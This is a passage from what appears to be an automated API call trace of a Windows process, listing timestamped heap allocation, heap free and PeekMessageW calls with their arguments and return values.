dwFlags=0x0, lpMem=0x10738e0 | out: hHeap=0xe80000) returned 1 [0131.697] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1608 | out: hHeap=0xe80000) returned 1 [0131.697] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b660 [0131.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a78 [0131.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb15f8 [0131.698] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a78 | out: hHeap=0xe80000) returned 1 [0131.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b408 [0131.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073898 [0131.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a78 [0131.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb1588 [0131.698] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a78 | out: hHeap=0xe80000) returned 1 [0131.698] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1588 | out: hHeap=0xe80000) returned 1 [0131.698] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b570 [0131.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073868 [0131.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1608 [0131.698] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073868 | out: hHeap=0xe80000) returned 1 [0131.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b688 [0131.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073880 [0131.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073988 [0131.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb1588 [0131.698] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073988 | out: hHeap=0xe80000) returned 1 [0131.698] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1588 | out: hHeap=0xe80000) returned 1 [0131.698] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b598 [0131.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073838 [0131.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1598 [0131.698] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073838 | out: hHeap=0xe80000) returned 1 [0131.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b2c8 [0131.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073838 [0131.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a78 [0131.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb1588 [0131.699] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a78 | out: hHeap=0xe80000) returned 1 [0131.699] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1588 | out: hHeap=0xe80000) returned 1 [0131.699] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b5c0 [0131.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a78 [0131.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1588 [0131.699] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a78 | out: hHeap=0xe80000) returned 1 [0131.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b3e0 [0131.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073988 [0131.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073958 [0131.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb1638 [0131.699] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073958 | out: hHeap=0xe80000) returned 1 [0131.699] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1638 | out: hHeap=0xe80000) returned 1 [0131.699] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b2f0 [0131.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a78 [0131.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1628 [0131.699] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a78 | out: hHeap=0xe80000) returned 1 [0131.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b430 [0131.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073868 [0131.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10738f8 [0131.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb15a8 [0131.700] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10738f8 | out: hHeap=0xe80000) returned 1 [0131.700] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb15a8 | out: hHeap=0xe80000) returned 1 [0131.700] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b390 [0131.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10739b8 [0131.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb15a8 [0131.700] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10739b8 | out: hHeap=0xe80000) returned 1 [0131.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b520 [0131.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10739b8 [0131.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a78 [0131.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb14c8 [0131.700] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a78 | out: hHeap=0xe80000) returned 1 [0131.700] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb14c8 | out: hHeap=0xe80000) returned 1 [0131.700] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b340 [0131.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10738c8 [0131.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1638 [0131.700] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10738c8 | out: hHeap=0xe80000) returned 1 [0131.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0x107b8c8 [0131.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10738c8 [0131.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10738e0 [0131.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb1468 [0131.700] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10738e0 | out: hHeap=0xe80000) returned 1 [0131.701] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1468 | out: hHeap=0xe80000) returned 1 [0131.701] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b2a0 [0131.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10738e0 [0131.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1648 [0131.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a78 [0131.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073940 [0131.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb1458 [0131.701] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073940 | out: hHeap=0xe80000) returned 1 [0131.701] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1458 | out: hHeap=0xe80000) returned 1 [0131.701] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b778 [0131.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10738f8 [0131.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb15b8 [0131.701] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10738f8 | out: hHeap=0xe80000) returned 1 [0131.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b728 [0131.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10738f8 [0131.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073940 [0131.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb15c8 [0131.701] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073940 | out: hHeap=0xe80000) returned 1 [0131.701] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb15c8 | out: hHeap=0xe80000) returned 1 [0131.701] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b318 [0131.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073958 [0131.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb15c8 [0131.702] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073958 | out: hHeap=0xe80000) returned 1 [0131.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b700 [0131.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073940 [0131.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073958 [0131.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb1458 [0131.702] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073958 | out: hHeap=0xe80000) returned 1 [0131.702] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1458 | out: hHeap=0xe80000) returned 1 [0131.702] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b6b0 [0131.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073958 [0131.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb14b8 [0131.702] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073958 | out: hHeap=0xe80000) returned 1 [0131.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b368 [0131.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073958 [0131.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073d18 [0131.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb1458 [0131.702] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073d18 | out: hHeap=0xe80000) returned 1 [0131.702] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1458 | out: hHeap=0xe80000) returned 1 [0131.702] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b3b8 [0131.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073ca0 [0131.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1458 [0131.702] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073ca0 | out: hHeap=0xe80000) returned 1 [0131.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0x107be08 [0131.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073c28 [0131.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073d60 [0131.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb1468 [0131.703] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073d60 | out: hHeap=0xe80000) returned 1 [0131.703] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1468 | out: hHeap=0xe80000) returned 1 [0131.703] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b458 [0131.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073c88 [0131.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1468 [0131.703] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073c88 | out: hHeap=0xe80000) returned 1 [0131.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b6d8 [0131.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073b98 [0131.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073d48 [0131.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb1488 [0131.703] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073d48 | out: hHeap=0xe80000) returned 1 [0131.703] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1488 | out: hHeap=0xe80000) returned 1 [0131.703] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b750 [0131.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073b80 [0131.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1488 [0131.703] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073b80 | out: hHeap=0xe80000) returned 1 [0131.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b480 [0131.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073ac0 [0131.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073bb0 [0131.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb1498 [0131.703] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073bb0 | out: hHeap=0xe80000) returned 1 [0131.704] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1498 | out: hHeap=0xe80000) returned 1 [0131.704] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b4a8 [0131.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073b68 [0131.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1498 [0131.704] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073b68 | out: hHeap=0xe80000) returned 1 [0131.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b4d0 [0131.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073be0 [0131.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073b68 [0131.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb14a8 [0131.704] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073b68 | out: hHeap=0xe80000) returned 1 [0131.704] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb14a8 | out: hHeap=0xe80000) returned 1 [0131.704] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b638 [0131.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073c10 [0131.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb14a8 [0131.704] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073c10 | out: hHeap=0xe80000) returned 1 [0131.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b5e8 [0131.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073d90 [0131.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073b68 [0131.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb14c8 [0131.704] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073b68 | out: hHeap=0xe80000) returned 1 [0131.704] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb14c8 | out: hHeap=0xe80000) returned 1 [0131.704] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b4f8 [0131.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073d30 [0131.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb14c8 [0131.704] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073d30 | out: hHeap=0xe80000) returned 1 [0131.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b548 [0131.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073ad8 [0131.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073d00 [0131.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb1768 [0131.705] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073d00 | out: hHeap=0xe80000) returned 1 [0131.705] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1768 | out: hHeap=0xe80000) returned 1 [0131.705] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b610 [0131.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073c10 [0131.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1788 [0131.705] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073c10 | out: hHeap=0xe80000) returned 1 [0131.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b7c8 [0131.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073b38 [0131.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073c58 [0131.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb17f8 [0131.705] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073c58 | out: hHeap=0xe80000) returned 1 [0131.705] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb17f8 | out: hHeap=0xe80000) returned 1 [0131.705] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ba98 [0131.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073bc8 [0131.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1718 [0131.705] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073bc8 | out: hHeap=0xe80000) returned 1 [0131.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b840 [0131.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073af0 [0131.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073c88 [0131.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb16c8 [0131.705] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073c88 | out: hHeap=0xe80000) returned 1 [0131.706] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb16c8 | out: hHeap=0xe80000) returned 1 [0131.706] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105bb10 [0131.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073b08 [0131.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb16a8 [0131.706] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073b08 | out: hHeap=0xe80000) returned 1 [0131.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105bae8 [0131.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073b20 [0131.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073bf8 [0131.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb1728 [0131.706] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073bf8 | out: hHeap=0xe80000) returned 1 [0131.706] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1728 | out: hHeap=0xe80000) returned 1 [0131.706] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105bb38 [0131.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073b08 [0131.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1808 [0131.706] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073b08 | out: hHeap=0xe80000) returned 1 [0131.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105bbd8 [0131.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073da8 [0131.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073bb0 [0131.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb1798 [0131.706] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073bb0 | out: hHeap=0xe80000) returned 1 [0131.706] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1798 | out: hHeap=0xe80000) returned 1 [0131.706] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b9d0 [0131.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073ce8 [0131.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1728 [0131.706] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073ce8 | out: hHeap=0xe80000) returned 1 [0131.707] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105bc00 [0131.707] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073bb0 [0131.707] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073b80 [0131.707] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb1758 [0131.707] HeapFree (in: hHeap=0xe80000, 